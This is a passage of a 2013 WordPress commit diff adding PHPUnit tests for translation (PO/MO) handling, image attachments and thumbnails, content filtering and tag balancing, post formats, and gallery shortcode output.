+               $multiple_line_entry = new Translation_Entry(array('singular' => 'The first thing you need to do is tell Blogger to let WordPress access your account. You will be sent back here after providing authorization.', 'translations' => array("baba\ndyadogugu")));
+               $this->assertEquals($multiple_line_entry, $po->entries[$multiple_line_entry->key()]);
+
+               $multiple_line_all_types_entry = new Translation_Entry(array('context' => 'context', 'singular' => 'singular',
+                       'plural' => 'plural', 'translations' => array('translation0', 'translation1', 'translation2')));
+               $this->assertEquals($multiple_line_all_types_entry, $po->entries[$multiple_line_all_types_entry->key()]);
+
+               $comments_entry = new Translation_Entry(array('singular' => 'a', 'translator_comments' => "baba\nbrubru",
+                       'references' => array('wp-admin/x.php:111', 'baba:333', 'baba'), 'extracted_comments' => "translators: buuu",
+                       'flags' => array('fuzzy')));
+               $this->assertEquals($comments_entry, $po->entries[$comments_entry->key()]);
+
+               $end_quote_entry = new Translation_Entry(array('singular' => 'a"'));
+               $this->assertEquals($end_quote_entry, $po->entries[$end_quote_entry->key()]);
+       }
+
+       function test_import_from_entry_file_should_give_false() {
+               $po = new PO();
+               $this->assertFalse( $po->import_from_file( DIR_TESTDATA . '/pomo/empty.po' ) );
+       }
+
+       function test_import_from_file_with_windows_line_endings_should_work_as_with_unix_line_endings() {
+               $po = new PO();
+               $this->assertTrue( $po->import_from_file( DIR_TESTDATA . '/pomo/windows-line-endings.po' ) );
+               $this->assertEquals( 1, count( $po->entries ) );
+       }
+
+       //TODO: add tests for bad files
+}
+?>
</ins></span></pre></div>
<a id="trunkteststestspomotranslationEntryphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/pomo/translationEntry.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/pomo/translationEntry.php                              (rev 0)
+++ trunk/tests/tests/pomo/translationEntry.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,37 @@
</span><ins>+<?php
+
+class Tests_POMO_TranslationEntry extends WP_UnitTestCase {
+
+       function test_create_entry() {
+               // no singular => empty object
+               $entry = new Translation_Entry();
+               $this->assertNull($entry->singular);
+               $this->assertNull($entry->plural);
+               $this->assertFalse($entry->is_plural);
+               // args -> members
+               $entry = new Translation_Entry(array(
+                       'singular' => 'baba',
+                       'plural' => 'babas',
+                       'translations' => array('баба', 'баби'),
+                       'references' => 'should be array here',
+                       'flags' => 'baba',
+               ));
+               $this->assertEquals('baba', $entry->singular);
+               $this->assertEquals('babas', $entry->plural);
+               $this->assertTrue($entry->is_plural);
+               $this->assertEquals(array('баба', 'баби'), $entry->translations);
+               $this->assertEquals(array(), $entry->references);
+               $this->assertEquals(array(), $entry->flags);
+       }
+
+       function test_key() {
+               $entry_baba = new Translation_Entry(array('singular' => 'baba',));
+               $entry_dyado = new Translation_Entry(array('singular' => 'dyado',));
+               $entry_baba_ctxt = new Translation_Entry(array('singular' => 'baba', 'context' => 'x'));
+               $entry_baba_plural = new Translation_Entry(array('singular' => 'baba', 'plural' => 'babas'));
+               $this->assertEquals($entry_baba->key(), $entry_baba_plural->key());
+               $this->assertNotEquals($entry_baba->key(), $entry_baba_ctxt->key());
+               $this->assertNotEquals($entry_baba_plural->key(), $entry_baba_ctxt->key());
+               $this->assertNotEquals($entry_baba->key(), $entry_dyado->key());
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestspomotranslationsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/pomo/translations.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/pomo/translations.php                          (rev 0)
+++ trunk/tests/tests/pomo/translations.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,75 @@
</span><ins>+<?php
+class Tests_POMO_Translations extends WP_UnitTestCase {
+
+       function test_add_entry() {
+               $entry = new Translation_Entry(array('singular' => 'baba',));
+               $entry2 = new Translation_Entry(array('singular' => 'dyado',));
+               $empty = new Translation_Entry();
+               $po = new Translations();
+               $po->add_entry($entry);
+               $this->assertEquals(array($entry->key() => $entry), $po->entries);
+               // add the same entry more than once
+               // we do not need to test proper key generation here, see test_key()
+               $po->add_entry($entry);
+               $po->add_entry($entry);
+               $this->assertEquals(array($entry->key() => $entry), $po->entries);
+               $po->add_entry($entry2);
+               $this->assertEquals(array($entry->key() => $entry, $entry2->key() => $entry2), $po->entries);
+               // add empty entry
+               $this->assertEquals(false, $po->add_entry($empty));
+               $this->assertEquals(array($entry->key() => $entry, $entry2->key() => $entry2), $po->entries);
+
+               // give add_entry() the arguments and let it create the entry itself
+               $po = new Translations();
+               $po->add_entry(array('singular' => 'baba',));
+               $entries= array_values($po->entries);
+               $this->assertEquals($entry->key(), $entries[0]->key());
+       }
+
+       function test_translate() {
+               $entry1 = new Translation_Entry(array('singular' => 'baba', 'translations' => array('babax')));
+               $entry2 = new Translation_Entry(array('singular' => 'baba', 'translations' => array('babay'), 'context' => 'x'));
+               $domain = new Translations();
+               $domain->add_entry($entry1);
+               $domain->add_entry($entry2);
+               $this->assertEquals('babax', $domain->translate('baba'));
+               $this->assertEquals('babay', $domain->translate('baba', 'x'));
+               $this->assertEquals('baba', $domain->translate('baba', 'y'));
+               $this->assertEquals('babaz', $domain->translate('babaz'));
+       }
+
+       function test_translate_plural() {
+               $entry_incomplete = new Translation_Entry(array('singular' => 'baba', 'plural' => 'babas', 'translations' => array('babax')));
+               $entry_toomany = new Translation_Entry(array('singular' => 'wink', 'plural' => 'winks', 'translations' => array('winki', 'winka', 'winko')));
+               $entry_2 = new Translation_Entry(array('singular' => 'dyado', 'plural' => 'dyados', 'translations' => array('dyadox', 'dyadoy')));
+               $domain = new Translations();
+               $domain->add_entry($entry_incomplete);
+               $domain->add_entry($entry_toomany);
+               $domain->add_entry($entry_2);
+               $this->assertEquals('other', $domain->translate_plural('other', 'others', 1));
+               $this->assertEquals('others', $domain->translate_plural('other', 'others', 111));
+               // too few translations + cont logic
+               $this->assertEquals('babas', $domain->translate_plural('baba', 'babas', 2));
+               $this->assertEquals('babas', $domain->translate_plural('baba', 'babas', 0));
+               $this->assertEquals('babas', $domain->translate_plural('baba', 'babas', -1));
+               $this->assertEquals('babas', $domain->translate_plural('baba', 'babas', 999));
+               // proper
+               $this->assertEquals('dyadox', $domain->translate_plural('dyado', 'dyados', 1));
+               $this->assertEquals('dyadoy', $domain->translate_plural('dyado', 'dyados', 0));
+               $this->assertEquals('dyadoy', $domain->translate_plural('dyado', 'dyados', 18881));
+               $this->assertEquals('dyadoy', $domain->translate_plural('dyado', 'dyados', -18881));
+       }
+
+       function test_digit_and_merge() {
+               $entry_digit_1 = new Translation_Entry(array('singular' => 1, 'translations' => array('1')));
+               $entry_digit_2 = new Translation_Entry(array('singular' => 2, 'translations' => array('2')));
+               $domain = new Translations();
+               $domain->add_entry($entry_digit_1);
+               $domain->add_entry($entry_digit_2);
+               $dummy_translation = new Translations;
+               $this->assertEquals( '1', $domain->translate( '1' ) );
+               $domain->merge_with( $dummy_translation );
+               $this->assertEquals( '1', $domain->translate( '1' ) );
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestspostattachmentsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/post/attachments.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/post/attachments.php                           (rev 0)
+++ trunk/tests/tests/post/attachments.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,234 @@
</span><ins>+<?php
+
+/**
+ * @group post
+ * @group media
+ * @group upload
+ */
+class Tests_Post_Attachments extends WP_UnitTestCase {
+
+       function tearDown() {
+               // Remove all uploads.
+               $uploads = wp_upload_dir();
+               foreach ( scandir( $uploads['basedir'] ) as $file )
+                       _rmdir( $uploads['basedir'] . '/' . $file );
+
+               parent::tearDown();
+       }
+
+       function _make_attachment($upload, $parent_post_id=-1) {
+
+               $type = '';
+               if ( !empty($upload['type']) ) {
+                       $type = $upload['type'];
+               } else {
+                       $mime = wp_check_filetype( $upload['file'] );
+                       if ($mime)
+                               $type = $mime['type'];
+               }
+
+               $attachment = array(
+                       'post_title' => basename( $upload['file'] ),
+                       'post_content' => '',
+                       'post_type' => 'attachment',
+                       'post_parent' => $parent_post_id,
+                       'post_mime_type' => $type,
+                       'guid' => $upload[ 'url' ],
+               );
+
+               // Save the data
+               $id = wp_insert_attachment( $attachment, $upload[ 'file' ], $parent_post_id );
+               wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $upload['file'] ) );
+
+               return $this->ids[] = $id;
+
+       }
+
+       function test_insert_bogus_image() {
+               $filename = rand_str().'.jpg';
+               $contents = rand_str();
+
+               $upload = wp_upload_bits($filename, null, $contents);
+               $this->assertTrue( empty($upload['error']) );
+
+               $id = $this->_make_attachment($upload);
+       }
+
+       function test_insert_image_no_thumb() {
+
+               // this image is smaller than the thumbnail size so it won't have one
+               $filename = ( DIR_TESTDATA.'/images/test-image.jpg' );
+               $contents = file_get_contents($filename);
+
+               $upload = wp_upload_bits(basename($filename), null, $contents);
+               $this->assertTrue( empty($upload['error']) );
+
+               $id = $this->_make_attachment($upload);
+
+               // intermediate copies should not exist
+               $this->assertFalse( image_get_intermediate_size($id, 'thumbnail') );
+               $this->assertFalse( image_get_intermediate_size($id, 'medium') );
+
+               // medium and full size will both point to the original
+               $downsize = image_downsize($id, 'medium');
+               $this->assertEquals( 'test-image.jpg', basename($downsize[0]) );
+               $this->assertEquals( 50, $downsize[1] );
+               $this->assertEquals( 50, $downsize[2] );
+
+               $downsize = image_downsize($id, 'full');
+               $this->assertEquals( 'test-image.jpg', basename($downsize[0]) );
+               $this->assertEquals( 50, $downsize[1] );
+               $this->assertEquals( 50, $downsize[2] );
+
+       }
+
+       function test_insert_image_thumb_only() {
+               if ( !function_exists( 'imagejpeg' ) )
+                       $this->markTestSkipped( 'jpeg support unavailable' );
+
+               update_option( 'medium_size_w', 0 );
+               update_option( 'medium_size_h', 0 );
+
+               $filename = ( DIR_TESTDATA.'/images/a2-small.jpg' );
+               $contents = file_get_contents($filename);
+
+               $upload = wp_upload_bits(basename($filename), null, $contents);
+               $this->assertTrue( empty($upload['error']) );
+
+               $id = $this->_make_attachment($upload);
+
+               // intermediate copies should exist: thumbnail only
+               $thumb = image_get_intermediate_size($id, 'thumbnail');
+               $this->assertEquals( 'a2-small-150x150.jpg', $thumb['file'] );
+
+               $uploads = wp_upload_dir();
+               $this->assertTrue( is_file($uploads['basedir'] . DIRECTORY_SEPARATOR . $thumb['path']) );
+
+               $this->assertFalse( image_get_intermediate_size($id, 'medium') );
+
+               // the thumb url should point to the thumbnail intermediate
+               $this->assertEquals( $thumb['url'], wp_get_attachment_thumb_url($id) );
+
+               // image_downsize() should return the correct images and sizes
+               $downsize = image_downsize($id, 'thumbnail');
+               $this->assertEquals( 'a2-small-150x150.jpg', basename($downsize[0]) );
+               $this->assertEquals( 150, $downsize[1] );
+               $this->assertEquals( 150, $downsize[2] );
+
+               // medium and full will both point to the original
+               $downsize = image_downsize($id, 'medium');
+               $this->assertEquals( 'a2-small.jpg', basename($downsize[0]) );
+               $this->assertEquals( 400, $downsize[1] );
+               $this->assertEquals( 300, $downsize[2] );
+
+               $downsize = image_downsize($id, 'full');
+               $this->assertEquals( 'a2-small.jpg', basename($downsize[0]) );
+               $this->assertEquals( 400, $downsize[1] );
+               $this->assertEquals( 300, $downsize[2] );
+
+       }
+
+       function test_insert_image_medium() {
+               if ( !function_exists( 'imagejpeg' ) )
+                       $this->markTestSkipped( 'jpeg support unavailable' );
+
+               update_option('medium_size_w', 400);
+               update_option('medium_size_h', 0);
+
+               $filename = ( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG' );
+               $contents = file_get_contents($filename);
+
+               $upload = wp_upload_bits(basename($filename), null, $contents);
+               $this->assertTrue( empty($upload['error']) );
+
+               $id = $this->_make_attachment($upload);
+               $uploads = wp_upload_dir();
+
+               // intermediate copies should exist: thumbnail and medium
+               $thumb = image_get_intermediate_size($id, 'thumbnail');
+               $this->assertEquals( '2007-06-17DSC_4173-150x150.jpg', $thumb['file'] );
+               $this->assertTrue( is_file($uploads['basedir'] . DIRECTORY_SEPARATOR . $thumb['path']) );
+
+               $medium = image_get_intermediate_size($id, 'medium');
+               $this->assertEquals( '2007-06-17DSC_4173-400x602.jpg', $medium['file'] );
+               $this->assertTrue( is_file($uploads['basedir'] . DIRECTORY_SEPARATOR . $medium['path']) );
+
+               // the thumb url should point to the thumbnail intermediate
+               $this->assertEquals( $thumb['url'], wp_get_attachment_thumb_url($id) );
+
+               // image_downsize() should return the correct images and sizes
+               $downsize = image_downsize($id, 'thumbnail');
+               $this->assertEquals( '2007-06-17DSC_4173-150x150.jpg', basename($downsize[0]) );
+               $this->assertEquals( 150, $downsize[1] );
+               $this->assertEquals( 150, $downsize[2] );
+
+               $downsize = image_downsize($id, 'medium');
+               $this->assertEquals( '2007-06-17DSC_4173-400x602.jpg', basename($downsize[0]) );
+               $this->assertEquals( 400, $downsize[1] );
+               $this->assertEquals( 602, $downsize[2] );
+
+               $downsize = image_downsize($id, 'full');
+               $this->assertEquals( '2007-06-17DSC_4173.jpg', basename($downsize[0]) );
+               $this->assertEquals( 680, $downsize[1] );
+               $this->assertEquals( 1024, $downsize[2] );
+       }
+
+
+       function test_insert_image_delete() {
+               if ( !function_exists( 'imagejpeg' ) )
+                       $this->markTestSkipped( 'jpeg support unavailable' );
+
+               update_option('medium_size_w', 400);
+               update_option('medium_size_h', 0);
+
+               $filename = ( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG' );
+               $contents = file_get_contents($filename);
+
+               $upload = wp_upload_bits(basename($filename), null, $contents);
+               $this->assertTrue( empty($upload['error']) );
+
+               $id = $this->_make_attachment($upload);
+               $uploads = wp_upload_dir();
+
+               // check that the file and intermediates exist
+               $thumb = image_get_intermediate_size($id, 'thumbnail');
+               $this->assertEquals( '2007-06-17DSC_4173-150x150.jpg', $thumb['file'] );
+               $this->assertTrue( is_file($uploads['basedir'] . DIRECTORY_SEPARATOR . $thumb['path']) );
+
+               $medium = image_get_intermediate_size($id, 'medium');
+               $this->assertEquals( '2007-06-17DSC_4173-400x602.jpg', $medium['file'] );
+               $this->assertTrue( is_file($uploads['basedir'] . DIRECTORY_SEPARATOR . $medium['path']) );
+
+               $meta = wp_get_attachment_metadata($id);
+               $original = $meta['file'];
+               $this->assertTrue( is_file($uploads['basedir'] . DIRECTORY_SEPARATOR . $original) );
+
+               // now delete the attachment and make sure all files are gone
+               wp_delete_attachment($id);
+
+               $this->assertFalse( is_file($thumb['path']) );
+               $this->assertFalse( is_file($medium['path']) );
+               $this->assertFalse( is_file($original) );
+       }
+
+       /**
+        * GUID should never be empty
+        * @ticket 18310
+        * @ticket 21963
+        */
+       function test_insert_image_without_guid() {
+               // this image is smaller than the thumbnail size so it won't have one
+               $filename = ( DIR_TESTDATA.'/images/test-image.jpg' );
+               $contents = file_get_contents($filename);
+
+               $upload = wp_upload_bits(basename($filename), null, $contents);
+               $this->assertTrue( empty($upload['error']) );
+
+               $upload['url'] = '';
+               $id = $this->_make_attachment( $upload );
+
+               $guid = get_the_guid( $id );
+               $this->assertFalse( empty( $guid ) );
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestspostfilteringphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/post/filtering.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/post/filtering.php                             (rev 0)
+++ trunk/tests/tests/post/filtering.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,212 @@
</span><ins>+<?php
+
+// save and fetch posts to make sure content is properly filtered.
+// these tests don't care what code is responsible for filtering or how it is called, just that it happens when a post is saved.
+
+/**
+ * @group post
+ * @group formatting
+ */
+class Tests_Post_Filtering extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+               update_option('use_balanceTags', 1);
+               kses_init_filters();
+
+       }
+
+       function tearDown() {
+               kses_remove_filters();
+               parent::tearDown();
+       }
+
+       // a simple test to make sure unclosed tags are fixed
+       function test_post_content_unknown_tag() {
+
+               $content = <<<EOF
+<foobar>no such tag</foobar>
+EOF;
+
+               $expected = <<<EOF
+no such tag
+EOF;
+
+               $id = $this->factory->post->create( array( 'post_content' => $content ) );
+               $post = get_post($id);
+
+               $this->assertEquals( $expected, $post->post_content );
+       }
+
+       // a simple test to make sure unbalanced tags are fixed
+       function test_post_content_unbalanced_tag() {
+
+               $content = <<<EOF
+<i>italics
+EOF;
+
+               $expected = <<<EOF
+<i>italics</i>
+EOF;
+
+               $id = $this->factory->post->create( array( 'post_content' => $content ) );
+               $post = get_post($id);
+
+               $this->assertEquals( $expected, $post->post_content );
+       }
+
+       // test kses filtering of disallowed attribute
+       function test_post_content_disallowed_attr() {
+
+               $content = <<<EOF
+<img src='foo' width='500' href='shlorp' />
+EOF;
+
+               $expected = <<<EOF
+<img src='foo' width='500' />
+EOF;
+
+               $id = $this->factory->post->create( array( 'post_content' => $content ) );
+               $post = get_post($id);
+
+               $this->assertEquals( $expected, $post->post_content );
+       }
+
+       /**
+        * test kses bug. xhtml does not require space before closing empty element
+        * @ticket 12394
+        */
+       function test_post_content_xhtml_empty_elem() {
+               $content = <<<EOF
+<img src='foo' width='500' height='300'/>
+EOF;
+
+               $expected = <<<EOF
+<img src='foo' width='500' height='300' />
+EOF;
+
+               $id = $this->factory->post->create( array( 'post_content' => $content ) );
+               $post = get_post($id);
+
+               $this->assertEquals( $expected, $post->post_content );
+       }
+
+       /**
+        * make sure unbalanced tags are fixed when they span a --more-- tag
+        * @ticket 6297
+        */
+       function test_post_content_unbalanced_more() {
+               $content = <<<EOF
+<em>some text<!--more-->
+that's continued after the jump</em>
+EOF;
+
+               $expected = <<<EOF
+<em>some text</em><!--more-->
+that's continued after the jump
+EOF;
+
+               $id = $this->factory->post->create( array( 'post_content' => $content ) );
+               $post = get_post($id);
+
+               $this->assertEquals( $expected, $post->post_content );
+       }
+
+       /**
+        * make sure unbalanced tags are fixed when they span a --nextpage-- tag
+        * @ticket 6297
+        */
+       function test_post_content_unbalanced_nextpage() {
+               $content = <<<EOF
+<em>some text<!--nextpage-->
+that's continued after the jump</em>
+EOF;
+
+               $expected = <<<EOF
+<em>some text</em><!--nextpage-->
+that's continued after the jump
+EOF;
+
+               $id = $this->factory->post->create( array( 'post_content' => $content ) );
+               $post = get_post($id);
+
+               $this->assertEquals( $expected, $post->post_content );
+       }
+
+       /**
+        * make sure unbalanced tags are fixed when they span both --more-- and --nextpage-- tags (in that order)
+        * @ticket 6297
+        */
+       function test_post_content_unbalanced_more_nextpage() {
+               $content = <<<EOF
+<em>some text<!--more-->
+that's continued after the jump</em>
+<!--nextpage-->
+<p>and the next page
+<!--nextpage-->
+breaks the graf</p>
+EOF;
+
+               $expected = <<<EOF
+<em>some text</em><!--more-->
+that's continued after the jump
+<!--nextpage-->
+<p>and the next page
+</p><!--nextpage-->
+breaks the graf
+EOF;
+
+               $id = $this->factory->post->create( array( 'post_content' => $content ) );
+               $post = get_post($id);
+
+               $this->assertEquals( $expected, $post->post_content );
+       }
+
+       /**
+        * make sure unbalanced tags are fixed when they span both --nextpage-- and --more-- tags (in that order)
+        * @ticket 6297
+        */
+       function test_post_content_unbalanced_nextpage_more() {
+               $content = <<<EOF
+<em>some text<!--nextpage-->
+that's continued after the jump</em>
+<!--more-->
+<p>and the next page
+<!--nextpage-->
+breaks the graf</p>
+EOF;
+
+               $expected = <<<EOF
+<em>some text</em><!--nextpage-->
+that's continued after the jump
+<!--more-->
+<p>and the next page
+</p><!--nextpage-->
+breaks the graf
+EOF;
+
+               $id = $this->factory->post->create( array( 'post_content' => $content ) );
+               $post = get_post($id);
+
+               $this->assertEquals( $expected, $post->post_content );
+       }
+
+       // make sure unbalanced tags are untouched when the balance option is off
+       function test_post_content_nobalance_nextpage_more() {
+
+               update_option('use_balanceTags', 0);
+
+               $content = <<<EOF
+<em>some text<!--nextpage-->
+that's continued after the jump</em>
+<!--more-->
+<p>and the next page
+<!--nextpage-->
+breaks the graf</p>
+EOF;
+
+               $id = $this->factory->post->create( array( 'post_content' => $content ) );
+               $post = get_post($id);
+
+               $this->assertEquals( $content, $post->post_content );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestspostformatsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/post/formats.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/post/formats.php                               (rev 0)
+++ trunk/tests/tests/post/formats.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,159 @@
</span><ins>+<?php
+
+/**
+ * @group post
+ */
+class Tests_Post_Formats extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+       }
+
+       function test_set_get_post_format_for_post() {
+               $post_id = $this->factory->post->create();
+
+               $format = get_post_format( $post_id );
+               $this->assertFalse( $format );
+
+               $result = set_post_format( $post_id, 'aside' );
+               $this->assertNotInstanceOf( 'WP_Error', $result );
+               $this->assertInternalType( 'array', $result );
+               $this->assertEquals( 1, count( $result ) );
+
+               $format = get_post_format( $post_id );
+               $this->assertEquals( 'aside', $format );
+
+               $result = set_post_format( $post_id, 'standard' );
+               $this->assertNotInstanceOf( 'WP_Error', $result );
+               $this->assertInternalType( 'array', $result );
+               $this->assertEquals( 0, count( $result ) );
+
+               $result = set_post_format( $post_id, '' );
+               $this->assertNotInstanceOf( 'WP_Error', $result );
+               $this->assertInternalType( 'array', $result );
+               $this->assertEquals( 0, count( $result ) );
+       }
+
+       /**
+        * @ticket 22473
+        */
+       function test_set_get_post_format_for_page() {
+               $post_id = $this->factory->post->create( array( 'post_type' => 'page' ) );
+
+               $format = get_post_format( $post_id );
+               $this->assertFalse( $format );
+
+               $result = set_post_format( $post_id, 'aside' );
+               $this->assertNotInstanceOf( 'WP_Error', $result );
+               $this->assertInternalType( 'array', $result );
+               $this->assertEquals( 1, count( $result ) );
+               // The format can be set but not retrieved until it is registered.
+               $format = get_post_format( $post_id );
+               $this->assertFalse( $format );
+               // Register format support for the page post type.
+               add_post_type_support( 'page', 'post-formats' );
+               // The previous set can now be retrieved.
+               $format = get_post_format( $post_id );
+               $this->assertEquals( 'aside', $format );
+
+               $result = set_post_format( $post_id, 'standard' );
+               $this->assertNotInstanceOf( 'WP_Error', $result );
+               $this->assertInternalType( 'array', $result );
+               $this->assertEquals( 0, count( $result ) );
+
+               $result = set_post_format( $post_id, '' );
+               $this->assertNotInstanceOf( 'WP_Error', $result );
+               $this->assertInternalType( 'array', $result );
+               $this->assertEquals( 0, count( $result ) );
+
+               remove_post_type_support( 'page', 'post-formats' );
+       }
+
+       function test_has_format() {
+               $post_id = $this->factory->post->create();
+
+               $this->assertFalse( has_post_format( 'standard', $post_id ) );
+               $this->assertFalse( has_post_format( '', $post_id ) );
+
+               $result = set_post_format( $post_id, 'aside' );
+               $this->assertNotInstanceOf( 'WP_Error', $result );
+               $this->assertInternalType( 'array', $result );
+               $this->assertEquals( 1, count( $result ) );
+               $this->assertTrue( has_post_format( 'aside', $post_id ) );
+
+               $result = set_post_format( $post_id, 'standard' );
+               $this->assertNotInstanceOf( 'WP_Error', $result );
+               $this->assertInternalType( 'array', $result );
+               $this->assertEquals( 0, count( $result ) );
+               // Standard is a special case. It shows as false when set.
+               $this->assertFalse( has_post_format( 'standard', $post_id ) );
+
+               // Dummy format type
+               $this->assertFalse( has_post_format( 'dummy', $post_id ) );
+
+               // Dummy post id
+               $this->assertFalse( has_post_format( 'aside', 12345 ) );
+       }
+
+       /**
+        * @ticket 23570
+        */
+       function test_get_url_in_content() {
+               $link = 'http://nytimes.com';
+               $commentary = 'This is my favorite link';
+               $link_with_commentary =<<<DATA
+$link
+
+$commentary
+DATA;
+               $href = '<a href="http://nytimes.com">NYT</a>';
+               $href_with_commentary =<<<DATA
+$href
+
+$commentary
+DATA;
+               $link_post_id = $this->factory->post->create( array( 'post_content' => $link ) );
+               $content_link = get_url_in_content( get_post_field( 'post_content', $link_post_id ) );
+               $this->assertEquals( false, $content_link );
+
+               $link_with_post_id = $this->factory->post->create( array( 'post_content' => $link_with_commentary ) );
+               $content_link = get_url_in_content( get_post_field( 'post_content', $link_with_post_id ) );
+               $this->assertEquals( false, $content_link );
+
+               $content_link = get_url_in_content( get_post_field( 'post_content', $link_post_id ) );
+               $this->assertEquals( false, $content_link );
+
+               $content_link = get_url_in_content( get_post_field( 'post_content', $link_with_post_id ) );
+               $this->assertEquals( false, $content_link );
+
+               $empty_post_id = $this->factory->post->create( array( 'post_content' => '' ) );
+               $content_link = get_url_in_content( get_post_field( 'post_content', $empty_post_id ) );
+               $this->assertEquals( false, $content_link );
+
+               $comm_post_id = $this->factory->post->create( array( 'post_content' => $commentary ) );
+               $content_link = get_url_in_content( get_post_field( 'post_content', $comm_post_id ) );
+               $this->assertEquals( false, $content_link );
+
+               // Now with an href
+               $href_post_id = $this->factory->post->create( array( 'post_content' => $href ) );
+               $content_link = get_url_in_content( get_post_field( 'post_content', $href_post_id ) );
+               $this->assertEquals( $link, $content_link );
+
+               $href_with_post_id = $this->factory->post->create( array( 'post_content' => $href_with_commentary ) );
+               $content_link = get_url_in_content( get_post_field( 'post_content', $href_with_post_id ) );
+               $this->assertEquals( $link, $content_link );
+
+               $content_link = get_url_in_content( get_post_field( 'post_content', $href_post_id ) );
+               $this->assertEquals( $link, $content_link );
+
+               $content_link = get_url_in_content( get_post_field( 'post_content', $href_with_post_id ) );
+               $this->assertEquals( $link, $content_link );
+
+               $empty_post_id = $this->factory->post->create( array( 'post_content' => '' ) );
+               $content_link = get_url_in_content( get_post_field( 'post_content', $empty_post_id ) );
+               $this->assertEquals( false, $content_link );
+
+               $comm_post_id = $this->factory->post->create( array( 'post_content' => $commentary ) );
+               $content_link = get_url_in_content( get_post_field( 'post_content', $comm_post_id ) );
+               $this->assertEquals( false, $content_link );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestspostgalleryphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/post/gallery.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/post/gallery.php                               (rev 0)
+++ trunk/tests/tests/post/gallery.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,156 @@
</span><ins>+<?php
+
+/**
+ * @group media
+ * @group gallery
+ * @ticket UT30
+ */
+class Tests_Post_Gallery extends WP_UnitTestCase { // _WPDataset1
+       function setUp() {
+               parent::setUp();
+               global $wp_rewrite;
+               $wp_rewrite->set_permalink_structure('/%year%/%monthnum%/%day%/%postname%/');
+               $wp_rewrite->flush_rules();
+       }
+
+       function test_the_content() {
+               // permalink page
+               $link = '/2008/04/01/simple-gallery-test/';
+               $this->go_to('/2008/04/01/simple-gallery-test/');
+               the_post();
+               // filtered output
+               $out = get_echo('the_content');
+               $this->assertNotEmpty($out, "Could not get the_content for $link.");
+
+               $expected = <<<EOF
+<p>There are ten images attached to this post.  Here&#8217;s a gallery:</p>
+
+               <style type='text/css'>
+                       .gallery {
+                               margin: auto;
+                       }
+                       .gallery-item {
+                               float: left;
+                               margin-top: 10px;
+                               text-align: center;
+                               width: 33%;                     }
+                       .gallery img {
+                               border: 2px solid #cfcfcf;
+                       }
+                       .gallery-caption {
+                               margin-left: 0;
+                       }
+               </style>
+               <!-- see gallery_shortcode() in wp-includes/media.php -->
+               <div class='gallery'><dl class='gallery-item'>
+                       <dt class='gallery-icon'>
+                               <a href='http://example.com/2008/04/01/simple-gallery-test/dsc20040724_152504_53/' title='dsc20040724_152504_53'><img src="http://example.com/wp-content/uploads/2008/04/dsc20040724_152504_537.jpg" class="attachment-thumbnail" alt="" /></a>
+                       </dt></dl><dl class='gallery-item'>
+                       <dt class='gallery-icon'>
+                               <a href='http://example.com/2008/04/01/simple-gallery-test/canola/' title='canola'><img src="http://example.com/wp-content/uploads/2008/04/canola3.jpg" class="attachment-thumbnail" alt="" /></a>
+                       </dt></dl><dl class='gallery-item'>
+                       <dt class='gallery-icon'>
+                               <a href='http://example.com/2008/04/01/simple-gallery-test/dsc20050315_145007_13/' title='dsc20050315_145007_13'><img src="http://example.com/wp-content/uploads/2008/04/dsc20050315_145007_134.jpg" class="attachment-thumbnail" alt="" /></a>
+                       </dt></dl><br style="clear: both" /><dl class='gallery-item'>
+                       <dt class='gallery-icon'>
+                               <a href='http://example.com/2008/04/01/simple-gallery-test/dsc20050604_133440_34/' title='dsc20050604_133440_34'><img src="http://example.com/wp-content/uploads/2008/04/dsc20050604_133440_343.jpg" class="attachment-thumbnail" alt="" /></a>
+                       </dt></dl><dl class='gallery-item'>
+                       <dt class='gallery-icon'>
+                               <a href='http://example.com/2008/04/01/simple-gallery-test/dsc20050831_165238_33/' title='dsc20050831_165238_33'><img src="http://example.com/wp-content/uploads/2008/04/dsc20050831_165238_333.jpg" class="attachment-thumbnail" alt="" /></a>
+                       </dt></dl><dl class='gallery-item'>
+                       <dt class='gallery-icon'>
+                               <a href='http://example.com/2008/04/01/simple-gallery-test/dsc20050901_105100_21/' title='dsc20050901_105100_21'><img src="http://example.com/wp-content/uploads/2008/04/dsc20050901_105100_213.jpg" class="attachment-thumbnail" alt="" /></a>
+                       </dt></dl><br style="clear: both" /><dl class='gallery-item'>
+                       <dt class='gallery-icon'>
+                               <a href='http://example.com/2008/04/01/simple-gallery-test/dsc20050813_115856_5/' title='dsc20050813_115856_5'><img src="http://example.com/wp-content/uploads/2008/04/dsc20050813_115856_54.jpg" class="attachment-thumbnail" alt="" /></a>
+                       </dt></dl><dl class='gallery-item'>
+                       <dt class='gallery-icon'>
